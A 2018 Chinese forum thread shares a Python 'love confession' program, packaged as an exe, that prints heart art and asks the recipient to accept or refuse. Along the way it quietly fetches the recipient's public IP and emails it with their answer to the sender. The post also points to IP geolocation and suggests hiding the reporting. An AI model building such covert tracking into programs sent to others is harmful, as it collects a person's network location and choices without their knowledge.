sherlo 发表于 2018-8-14 09:17

七夕快到了之教我表弟学表白(附获取对方IP及自动发送邮件)

本帖最后由 sherlo 于 2018-8-14 09:35 编辑

表弟是个大二的学生,成绩还不错,但是由于性格比较内向,连和女生多说几句话都不敢,这可把我急得,于是教了表弟 一个 '古老'的表白方法。
对,就是简单粗暴的使用控制台打印一些好看的符号或者情话。表弟刚开始觉得有点老掉牙,说“这好几年前的东西了,有点老掉牙了,而且我也不知道对方是否接受我呢(我又不敢多问)!”
针对表弟这个需求 ,于是便有了自动获取对方的输入(接受,拒绝之类的)并返回给自己,顺便获取对方IP地址并根据对方的选择自动发送相应的回复邮件(基于SMTP)
以下内容主要提供思路,根据自己的需求自行发挥,同时需要将py文件打包成exe文件(对方才能在没有python的情况下运行),不会的请多百度一下
1.首先输入一个好看的’图形‘吧(网上一大堆例子,可以选择自己喜欢的),我这里也提供一个 ,大概样子就是顺序输出’Dear,I love you‘
import time
sentence = "Dear, I love you forever!"
for char in sentence.split():
   allChar = []
   for y in range(12, -12, -1):
       lst = []
       lst_con = ''
       for x in range(-30, 30):
            formula = ((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3
            if formula <= 0:
                lst_con += char[(x) % len(char)]
            else:
                lst_con += ' '
       lst.append(lst_con)
       allChar += lst
   print('\n'.join(allChar))
   time.sleep(1)


2.‘花里胡哨’的东西运行了,如果需要获取对方IP(保证对方网络通畅),将以下代码写入整个py文件中 。原理就是发送一个request请求到目标网址(查IP的)http://httpbin.org/ip,把得到的response记录下来待会同时发到邮箱中保存!代码如下headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'
}
try:
    resp=requests.get('http://httpbin.org/ip',headers=headers,timeout=3)
    ip=resp.json()['origin']
except requests.exceptions.ConnectionError:
    print('请保证网络通畅,无网络!')
except requests.exceptions.ReadTimeout:
    print('请保证网络通畅,程序即将退出!')
    time.sleep(5)
    os.system(exit())
3.然后 ,发挥你的文字功底,开始你的表演了,类似这样:
list=['666,我太高兴了','这虽然不是我想要的结果,但我尊重你的选择!','我会加倍努力,让你接受我的!']
print('亲爱的,我喜欢你很久了,你愿意接受我吗?(1:接受 2:不接受 3:暂时不考虑)')
print('你有10秒考虑时间,请仔细考虑!')
time.sleep(10)
print('请遵从你的内心大胆输入,一次就好:')
a=input()
while(a!='1' and a!='2'and a!='3'):
    print('输入错误,请重新输入!:')
    print('1:接受,2:不接受 3:暂时不考虑')
    a=input()
解释一下这个list,list里面存放你将发给对方邮箱的内容 ,对应我写的3个选择(你可以增加或者减少选择)
4.根据第三步获取到的输入(a),传入到一个发送邮件的函数中 ,对方能获取到一封来自你的邮件,在已发送中可查看详情并判断对方的选择。
def send(a):
#以qq邮箱为例
    smtpserver = 'smtp.qq.com'
    user = '发送方(你)的邮箱账号'
    password = '发送方(你)的邮箱的SMTP授权码'
    sender ='发送方(你)的邮箱账号'
    #receive为接收方,也可以写自己(不让对方知道)
    receive = '接收方(她)的邮箱账号'
    #subject为邮件主题
    subject ='Dear'
    #定义格式及输入内容
    msg=MIMEText('<html><h1>%sIP:%s</h1></html>'%(list,ip),'html','utf-8')
    msg['Subject']=Header(subject,'utf-8')
    #执行发送操作
    smtp = smtplib.SMTP()
    smtp.connect(smtpserver)
    smtp.login(user,password)
    smtp.sendmail(sender,receive,msg.as_string())
    smtp.quit()


send(int(a))
print('谢谢你的选择!')
time.sleep(5)
补充说明一下,以qq邮箱为例,它的发送功能的实现需设置开通SMTP服务 ,开启后会有一个授权码,在password中填入,如果怕不安全可以用自己的小号充当这个发送方(怕对方抓包,我考虑的有点多了),只要接收方确定就行,在代码msg=MIMEText('<html><h1>%sIP:%s</h1></html>'%(list,ip),'html','utf-8')中,根据对方输入的a的值输出了list列表中对应内容及对方IP,如果不需要IP删掉对应代码即可!如图:

再次强调 :我仅提供思路,语言方面请自行修改,争取get到你的对象 !
另外:如果你确定只跟一个人表白(这样最好哈),最好自己把receieve写死,如果你像我表弟喜欢的不止一个(哈哈哈),又懒得每次都修改下发送对象并且需要生成不同的exe,可以尝试先定义一个列表存储你要发送的所有人的qq,并添加一个input(),让对方输入自己的qq号,并判断在列表中是否存在(防止对方乱写),然后将这个输入的值传入到receive中就可以了。当然 receieve也可以写成自己,没了回复效果但是能知道对方的选择。至于对方多次运行这个exe,并尝试选择不同的回应,这个不可控哈。
关于IP的题外话,获取到的IP可以实现精确定位http://chaipip.com/ip.php
这里我放一个exe的demo,帮助没有打包经验的同学看看运行效果。单纯只有print功能的哈,至于为什么,看懂这个帖子就不会纠结了。
链接: https://pan.baidu.com/s/1Fz0Gh-1_doaCevfrmY99AQ 密码: b8uc

粗心人 发表于 2018-8-17 14:59

“至于对方多次运行这个exe,并尝试选择不同的回应,这个不可控哈。”
哈哈哈哈,是我肯定这么玩.....{:1_918:}
小建议:程序一运行,先给自己发封信,通知对方运行了程序,因为可能对方直接看完不选就关闭了......那也就不要苦苦等待了

ZAOSHANGHAO 发表于 2018-8-14 12:11

sherlo 发表于 2018-8-14 10:38
哈哈,你就是个弟弟

https://wx.qq.com/cgi-bin/mmwebwx-bin/webwxgetmsgimg?&MsgID=1445678576357318311&skey=%40crypt_6294c45c_564fa9e29037c32c9edaf50967c40a04      楼主啊,为什么我的电脑会显示这个东西呢?win732位

取名字我晕 发表于 2018-8-14 09:26

哇 这个可以的不过没表白对象怎么办

楚山冷雨 发表于 2018-8-14 09:29

单身狗表示用不上哈哈,帮你消灭零回复!!!

柯芒 发表于 2018-8-14 09:31

pojie_huahua 发表于 2018-8-14 09:46

单身狗怎么会用不上呢,拿去脱单啊

zhou神 发表于 2018-8-14 09:56

没对象怎么办 保存着希望以后有个

1738312773 发表于 2018-8-14 10:05

这个我就收下了

JasonHsu1213 发表于 2018-8-14 10:05

单身狗表示用不上,哈哈哈

yshzx545 发表于 2018-8-14 10:06

表白不一般都是水到渠成之后再进行的吗,这么着急表白容易给女生压力

GodNannn 发表于 2018-8-14 10:13

666拿走拿走
页: [1] 2 3 4 5
查看完整版本: 七夕快到了之教我表弟学表白(附获取对方IP及自动发送邮件)